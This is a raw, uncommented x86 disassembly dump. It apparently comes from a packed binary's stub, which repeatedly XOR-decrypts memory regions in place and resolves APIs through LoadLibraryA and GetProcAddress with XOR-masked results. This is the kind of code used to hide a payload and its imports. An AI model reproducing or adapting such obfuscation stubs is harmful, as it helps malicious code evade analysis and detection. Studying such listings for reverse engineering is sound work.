mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x101062e0]
mov dword [0x10105368], ecx
lea ecx, [eax + 0x129e6]
add eax, 0x12540
xor eax, dword [ecx]
xor eax, 0xdccde98c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32cc0]
add eax, 0x36d20
xor eax, dword [ecx]
xor eax, 0xdccfa1ec
mov dword [ecx], eax
mov eax, dword [0x10105ab8]
add dword [0x10105368], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x43b5]
add eax, 0x20088
xor eax, dword [ecx]
xor eax, 0xdccecc44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d241]
add eax, 0xa55c0
xor eax, dword [ecx]
xor eax, 0xdcc6990c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12077]
add eax, 0x11fd0
xor eax, dword [ecx]
xor eax, 0xdccdd31c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d28d]
add eax, 0x20164
xor eax, dword [ecx]
xor eax, 0xdccecda8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33d80]
add eax, 0x1ca4f
xor eax, dword [ecx]
xor eax, 0xdccd0683
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c0bf]
add eax, 0xa5554
xor eax, dword [ecx]
xor eax, 0xdcc69998
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32f00]
add eax, 0x32f04
xor eax, dword [ecx]
xor eax, 0xdccfe3c8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x6cdf]
add eax, 0x27a04
xor eax, dword [ecx]
xor eax, 0xdcceb6c8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11dc8]
add eax, 0x324b8
xor eax, dword [ecx]
xor eax, 0xdccfe874
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa48ac]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4783]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9e10]
add eax, 0x200ac
xor eax, dword [ecx]
xor eax, 0xdccecc60
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15c79]
add eax, 0x36000
xor eax, dword [ecx]
xor eax, 0xdccfaccc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e50c]
add eax, 0xa8f28
xor eax, dword [ecx]
xor eax, 0xdcc643e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x45f1]
add eax, 0x202a8
xor eax, dword [ecx]
mov dword [esp + 0x1c], 0x179
xor eax, 0xdccece64
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3f1c]
add eax, 0x2777c
xor eax, dword [ecx]
xor eax, 0xdccebbb0
mov dword [ecx], eax
mov eax, dword [0x101062e0]
mov ecx, dword [0x10103e64]
add ecx, eax
mov eax, dword [0x10107300]
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0x19dd8]
add eax, 0x36318
xor eax, dword [ecx]
xor eax, 0xdccfafd4
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10105368]
push dword [0x10106ae8]
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
jne 0x10022640
mov eax, dword [0x10107300]
lea ecx, [eax + 0x193e8]
add eax, 0x20388
xor eax, dword [ecx]
push 0x10107fb5
xor eax, 0xdccecf44
mov dword [ecx], eax
call sub.KERNEL32.dll_LoadLibraryA
mov dword [esp + 0x24], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33ef0]
add eax, 0x33ee0
xor eax, dword [ecx]
xor eax, 0xdccff22c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x338ec]
add eax, 0x33934
xor eax, dword [ecx]
xor eax, 0xdccff5f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1978b]
add eax, 0x20180
xor eax, dword [ecx]
xor eax, 0xdccecd4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4354]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf6a7]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa204]
add eax, 0xa5688
xor eax, dword [ecx]
xor eax, 0xdcc69a44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3db4]
add eax, 0x256a4
xor eax, dword [ecx]
xor eax, 0xdcce9a68
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x256f0]
add eax, 0x3302c
xor eax, dword [ecx]
xor eax, 0xdccffce0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b7fd]
add eax, 0x36a60
xor eax, dword [ecx]
xor eax, 0xdccfa6ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10bd6]
add eax, 0x3233c
xor eax, dword [ecx]
xor eax, 0xdccfeff0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17824]
add eax, 0x17858
xor eax, dword [ecx]
xor eax, 0xdccdb494
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33a88]
add eax, 0x32b6c
xor eax, dword [ecx]
xor eax, 0xdccfe7a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x10106ae8]
mov dword [0x10105ab8], ecx
lea ecx, [eax + 0xa44e8]
add eax, 0x26440
xor eax, dword [ecx]
mov dword [esp + 0x1c], 0x203
xor eax, 0xdccea88c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11b5b]
add eax, 0x20214
xor eax, dword [ecx]
xor eax, 0xdcceced8
mov dword [ecx], eax
push dword [0x10107300]
mov eax, dword [0x10106ae8]
push eax
push eax
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
jne 0x100227f8
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25848]
add eax, 0x33194
xor eax, dword [ecx]
mov edx, dword [esp + 0x14]
xor eax, 0xdccffd58
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa342]
add eax, 0xa5a08
xor eax, dword [ecx]
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov eax, dword [0x10103e60]
and eax, dword [0x101062e4]
mov dword [esp + 0x20], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13122]
add eax, 0x329cc
xor eax, dword [ecx]
xor eax, 0xdccfe500
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7f5c]
add eax, 0x7eec
xor eax, dword [ecx]
xor eax, 0xdcccb220
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1992b]
add eax, 0xa4f5c
xor eax, dword [ecx]
xor eax, 0xdcc68390
mov dword [ecx], eax
or dword [0x101062e0], edx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24038]
add eax, 0x23e8c
xor eax, dword [ecx]
xor eax, 0xdccef240
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x6643]
add eax, 0x278a4
xor eax, dword [ecx]
xor eax, 0xdcceb468
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a04]
add eax, 0x4290
xor eax, dword [ecx]
xor eax, 0xdccc8e5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36274]
add eax, 0x23468
xor eax, dword [ecx]
xor eax, 0xdccef8a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36f68]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9f51]
add eax, 0x200ac
xor eax, dword [ecx]
xor eax, 0xdccecc60
mov dword [ecx], eax
mov eax, dword [0x10107300]
xor edx, dword [0x10105ab8]
lea ecx, [eax + 0xa44d4]
add eax, 0x27874
xor eax, dword [ecx]
mov dword [esp + 0x14], edx
xor eax, 0xdcceb4b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c62b]
add eax, 0xa8fbc
xor eax, dword [ecx]
push 0x101075bc
xor eax, 0xdcc64370
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x342ac]
add eax, 0x3429c
xor eax, dword [ecx]
push ebp
xor eax, 0xdccf8e50
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33834]
add eax, 0xa4af0
xor eax, dword [ecx]
xor eax, 0xdcc6863c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x200b4
mov dword [esp + 0x30], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x28]
xor ecx, dword [eax]
push 0x10107887
xor ecx, 0xcccf80c8
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x341cc]
add eax, 0x1f6db
xor eax, dword [ecx]
push ebp
xor eax, 0xdccd3a17
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov dword [0x101062e4], eax
lea ecx, [eax + 0x49c4]
add eax, 0x2590c
xor eax, dword [ecx]
xor eax, 0xdcce95c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, 0x6725b965
sub ecx, eax
mov dword [0x10103e60], ecx
lea ecx, [eax + 0x1bbc2]
add eax, 0xa5548
xor eax, dword [ecx]
xor eax, 0xdcc69984
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x135be]
add eax, 0x202f4
xor eax, dword [ecx]
xor eax, 0xdccece38
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23fe0]
add eax, 0x23ee8
xor eax, dword [ecx]
xor eax, 0xdccef224
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23fa0]
add eax, 0x23f1c
xor eax, dword [ecx]
xor eax, 0xdccef3d0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33004]
add eax, 0x330d8
xor eax, dword [ecx]
xor eax, 0xdccffc14
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20168
mov dword [esp + 0x30], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x28]
xor ecx, dword [eax]
xor ecx, 0xcccf8396
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa43c8]
add eax, 0x26640
xor eax, dword [ecx]
xor eax, 0xdcceaa8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xedbe]
add eax, 0x20048
xor eax, dword [ecx]
xor eax, 0xdccecc84
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a3f2]
add eax, 0xa5090
xor eax, dword [ecx]
xor eax, 0xdcc69c5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x111e3]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17dcc]
add eax, 0xa90e8
xor eax, dword [ecx]
xor eax, 0xdcc65c24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14bc]
add eax, 0x149e
xor eax, dword [ecx]
xor eax, 0xdcccd852
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33e34]
add eax, 0x1f480
xor eax, dword [ecx]
xor eax, 0xdccd384c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36a70]
add eax, 0x1dafb
xor eax, dword [ecx]
xor eax, 0xdccd1637
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x343a0]
add eax, 0x1e873
xor eax, dword [ecx]
xor eax, 0xdccd24bf
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2339]
add eax, 0x20288
xor eax, dword [ecx]
xor eax, 0xdccece44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17818]
add eax, 0x1787b
xor eax, dword [ecx]
xor eax, 0xdccdb4b7
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17a28]
add eax, 0x17a48
xor eax, dword [ecx]
xor eax, 0xdccdb684
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c1ec]
add eax, 0xa5560
xor eax, dword [ecx]
xor eax, 0xdcc699ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2917]
add eax, 0x25088
xor eax, dword [ecx]
xor eax, 0xdcce9c44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18073]
add eax, 0x23230
xor eax, dword [ecx]
xor eax, 0xdccefefc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xab1b]
add eax, 0xa5a40
xor eax, dword [ecx]
xor eax, 0xdcc6968c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, 0x97568221
sub ecx, eax
mov dword [0x101062e4], ecx
lea ecx, [eax + 0xa706]
add eax, 0xa5ad0
xor eax, dword [ecx]
xor eax, 0xdcc6961c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x58bf]
add eax, 0x25fb0
xor eax, dword [ecx]
xor eax, 0xdcce937c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17a2c]
add eax, 0x17a5c
xor eax, dword [ecx]
xor eax, 0xdccdb690
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, 0xc42a3ff9
sub ecx, eax
mov dword [0x10105abc], ecx
lea ecx, [eax + 0x33ca0]
add eax, 0x1b28d
xor eax, dword [ecx]
xor eax, 0xdccd7e41
mov dword [ecx], eax
mov eax, dword [0x10107300]
xor dword [0x101062e0], eax
lea ecx, [eax + 0x15970]
add eax, 0x153b0
xor eax, dword [ecx]
xor eax, 0xdccd9f7c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa25a]
add eax, 0x20128
xor eax, dword [ecx]
xor eax, 0xdccecde4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17c09]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a917]
add eax, 0xa8fc4
xor eax, dword [ecx]
xor eax, 0xdcc64308
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7e5b]
add eax, 0x20340
xor eax, dword [ecx]
xor eax, 0xdccecf8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf2db]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb78b]
add eax, 0x256a4
xor eax, dword [ecx]
xor eax, 0xdcce9a68
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25518]
add eax, 0x32d5c
xor eax, dword [ecx]
xor eax, 0xdccfe190
mov dword [ecx], eax
mov eax, dword [0x10103e64]
or dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa6d8]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x29070]
add eax, 0xf070
xor eax, dword [ecx]
xor eax, 0xdccc3cbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe17c]
add eax, 0x2021c
xor eax, dword [ecx]
xor eax, 0xdcceced0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33348]
add eax, 0x33354
xor eax, dword [ecx]
xor eax, 0xdccfff98
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3bbc]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10105368]
and eax, dword [esp + 0x14]
mov dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa42c0]
add eax, 0x26850
xor eax, dword [ecx]
xor eax, 0xdccea49c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4410]
add eax, 0x265bc
xor eax, dword [ecx]
xor eax, 0xdccea970
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa48d4]
add eax, 0xa09a0
xor eax, dword [ecx]
xor eax, 0xdcc6c56c
mov dword [ecx], eax
mov eax, dword [esp + 0x20]
imul eax, eax, 0xf9d23df7
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33190]
add eax, 0x330b8
xor eax, dword [ecx]
xor eax, 0xdccffc74
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3b3f]
add eax, 0x255b0
xor eax, dword [ecx]
xor eax, 0xdcce997c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17f80]
add eax, 0x36070
xor eax, dword [ecx]
xor eax, 0xdccfacbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3c40]
add eax, 0x25600
xor eax, dword [ecx]
xor eax, 0xdcce9acc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3384c]
add eax, 0x33850
xor eax, dword [ecx]
xor eax, 0xdccff49c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33d9c]
add eax, 0x1ca8d
xor eax, dword [ecx]
xor eax, 0xdccd0641
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1bc8a]
add eax, 0xa90ec
xor eax, dword [ecx]
xor eax, 0xdcc65c20
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19c14]
add eax, 0x20160
xor eax, dword [ecx]
xor eax, 0xdccecdac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b3f0]
add eax, 0x2008c
xor eax, dword [ecx]
xor eax, 0xdccecc40
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7f64]
add eax, 0x7efa
xor eax, dword [ecx]
xor eax, 0xdcccb236
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x333c0]
add eax, 0x33384
xor eax, dword [ecx]
xor eax, 0xdccfff48
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3c7c]
add eax, 0x273c0
xor eax, dword [ecx]
xor eax, 0xdccebf0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x10105abc]
or ecx, dword [0x1010536c]
lea edx, [eax + 0x1bc26]
add eax, 0x36960
xor eax, dword [edx]
xor eax, 0xdccfa5ac
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0xff21]
add eax, 0x32314
xor eax, dword [edx]
xor eax, 0xdccfefd8
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0xa3f2c]
add eax, 0x6aba0
xor eax, dword [edx]
xor eax, 0xdcca676c
mov dword [edx], eax
mov eax, dword [0x10107300]
mov edx, eax
xor edx, 0x818633f4
mov dword [0x10106ae8], edx
lea edx, [eax + 0x2301]
add eax, 0x25040
xor eax, dword [edx]
xor eax, 0xdcce9c8c
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0xa4728]
add eax, 0x261c0
xor eax, dword [edx]
xor eax, 0xdccead0c
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x2c9c]
add eax, 0x2551c
xor eax, dword [edx]
xor eax, 0xdcce99d0
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x3337c]
add eax, 0xa49c0
xor eax, dword [edx]
xor eax, 0xdcc6850c
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x37114]
add eax, 0x2f0b8
xor eax, dword [edx]
xor eax, 0xdcce3c74
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0xf0d8]
add eax, 0x27c94
xor eax, dword [edx]
xor eax, 0xdcceb058
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x2911c]
add eax, 0x14060
xor eax, dword [edx]
xor eax, 0xdccd8cac
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0xa4064]
add eax, 0x79a50
xor eax, dword [edx]
xor eax, 0xdccb569c
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0xa128]
add eax, 0xa5688
xor eax, dword [edx]
xor eax, 0xdcc69a44
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x1cd0c]
add eax, 0x1cd28
xor eax, dword [edx]
xor eax, 0xdccd01e4
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x33430]
add eax, 0xa49dc
xor eax, dword [edx]
xor eax, 0xdcc68510
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x1a8b3]
add eax, 0xa8fb4
xor eax, dword [edx]
xor eax, 0xdcc64378
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0xa236]
add eax, 0xa5a08
xor eax, dword [edx]
xor eax, 0xdcc696c4
imul ecx, ecx, 0x5e2d437c
mov dword [edx], eax
mov dword [esp + 0x28], ecx
mov dword [esp + 0x1c], 0x183
push dword [0x10107300]
mov eax, dword [0x10103e64]
push eax
push eax
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
mov eax, dword [esp + 0x28]
mov dword [0x10105abc], eax
jne 0x10023164
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25290]
add eax, 0x1fd0
xor eax, dword [ecx]
xor eax, 0xdcccd31c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xedb3]
add eax, 0x202cc
xor eax, dword [ecx]
xor eax, 0xdccece00
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x186e2]
add eax, 0x36080
xor eax, dword [ecx]
xor eax, 0xdccfac4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x10105abc]
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x2401c]
add eax, 0x23ea8
xor eax, dword [ecx]
xor eax, 0xdccef264
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x194fe]
add eax, 0x203b8
xor eax, dword [ecx]
xor eax, 0xdccecf74
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36aac]
add eax, 0x24a2c
xor eax, dword [ecx]
xor eax, 0xdcce86e0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33010]
add eax, 0x36eb8
xor eax, dword [ecx]
xor eax, 0xdccfa274
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe6ca]
add eax, 0x202dc
xor eax, dword [ecx]
xor eax, 0xdccece10
mov dword [ecx], eax
mov eax, dword [0x10103e60]
xor eax, 0x935c3d8e
mov dword [0x101062e4], eax
mov eax, dword [0x10103e64]
imul eax, dword [0x10106ae8]
mov dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa5a4]
add eax, 0x20114
xor eax, dword [ecx]
xor eax, 0xdccecdd8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1971a]
add eax, 0xa8fe0
xor eax, dword [ecx]
xor eax, 0xdcc6432c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa409c]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32edc]
add eax, 0x32e0c
xor eax, dword [ecx]
xor eax, 0xdccfe2c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1dc8a]
add eax, 0x20160
xor eax, dword [ecx]
push 0x101075e6
xor eax, 0xdccecdac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa39f4]
add eax, 0x27874
xor eax, dword [ecx]
push ebp
xor eax, 0xdcceb4b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x200c0
mov dword [esp + 0x30], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x28]
xor ecx, dword [eax]
xor ecx, 0xcccf80fa
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1800c]
add eax, 0xa4c0c
xor eax, dword [ecx]
xor eax, 0xdcc680c0
mov dword [ecx], eax
mov eax, dword [0x101062e4]
add eax, 0xcfcd1da
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3705c]
add eax, 0x3204c
xor eax, dword [ecx]
xor eax, 0xdccfec80
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1283f]
add eax, 0x123e0
xor eax, dword [ecx]
xor eax, 0xdccdef2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12168]
add eax, 0xa5acc
xor eax, dword [ecx]
xor eax, 0xdcc69600
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17ba3]
add eax, 0xa8fd0
xor eax, dword [ecx]
xor eax, 0xdcc6431c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa45a8]
add eax, 0x26340
xor eax, dword [ecx]
xor eax, 0xdcceaf8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5b67]
add eax, 0x202c4
xor eax, dword [ecx]
xor eax, 0xdccece08
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3e88]
add eax, 0x27458
xor eax, dword [ecx]
xor eax, 0xdcceb894
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9835]
add eax, 0x200f4
xor eax, dword [ecx]
xor eax, 0xdccecc38
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x254d0]
add eax, 0x30c0
xor eax, dword [ecx]
push 0x13
xor eax, 0xdcccfc0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33780]
add eax, 0x338fc
xor eax, dword [ecx]
push dword [esp + 0x38]
xor eax, 0xdccff430
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa458c]
add eax, 0x8f078
xor eax, dword [ecx]
xor eax, 0xdcc43cb4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x10103e60]
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x11199]
add eax, 0x2003c
xor eax, dword [ecx]
xor eax, 0xdcceccf0
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x10106ae8]
mov dword [esp + 0x1c], ecx
lea ecx, [eax + 0x33814]
add eax, 0x337e0
xor eax, dword [ecx]
xor eax, 0xdccffb2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x256dc]
add eax, 0x38a0
xor eax, dword [ecx]
xor eax, 0xdcccf46c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a94]
add eax, 0x13d10
xor eax, dword [ecx]
xor eax, 0xdccdf1dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x119a9]
add eax, 0x20364
xor eax, dword [ecx]
xor eax, 0xdccecfa8
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, 0x285431d1
mov dword [esp + 0x20], ecx
lea ecx, [eax + 0x619c]
add eax, 0xa4968
xor eax, dword [ecx]
xor eax, 0xdcc685a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x240fc]
add eax, 0x27c96
xor eax, dword [ecx]
xor eax, 0xdcceb05a
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20338
mov dword [esp + 0x30], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x28]
xor ecx, dword [eax]
xor ecx, 0x4cccccdf
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3361c]
add eax, 0x33888
xor eax, dword [ecx]
push 0x10107c29
xor eax, 0xdccff444
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e6d5]
add eax, 0xa8f2c
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, 0xdcc643e0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf613]
add eax, 0x1f616
xor eax, dword [ecx]
xor eax, 0xdccd3ada
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f876]
add eax, 0x343f8
xor eax, dword [ecx]
xor eax, 0xdccf8f34
mov dword [ecx], eax
mov eax, dword [0x10107300]
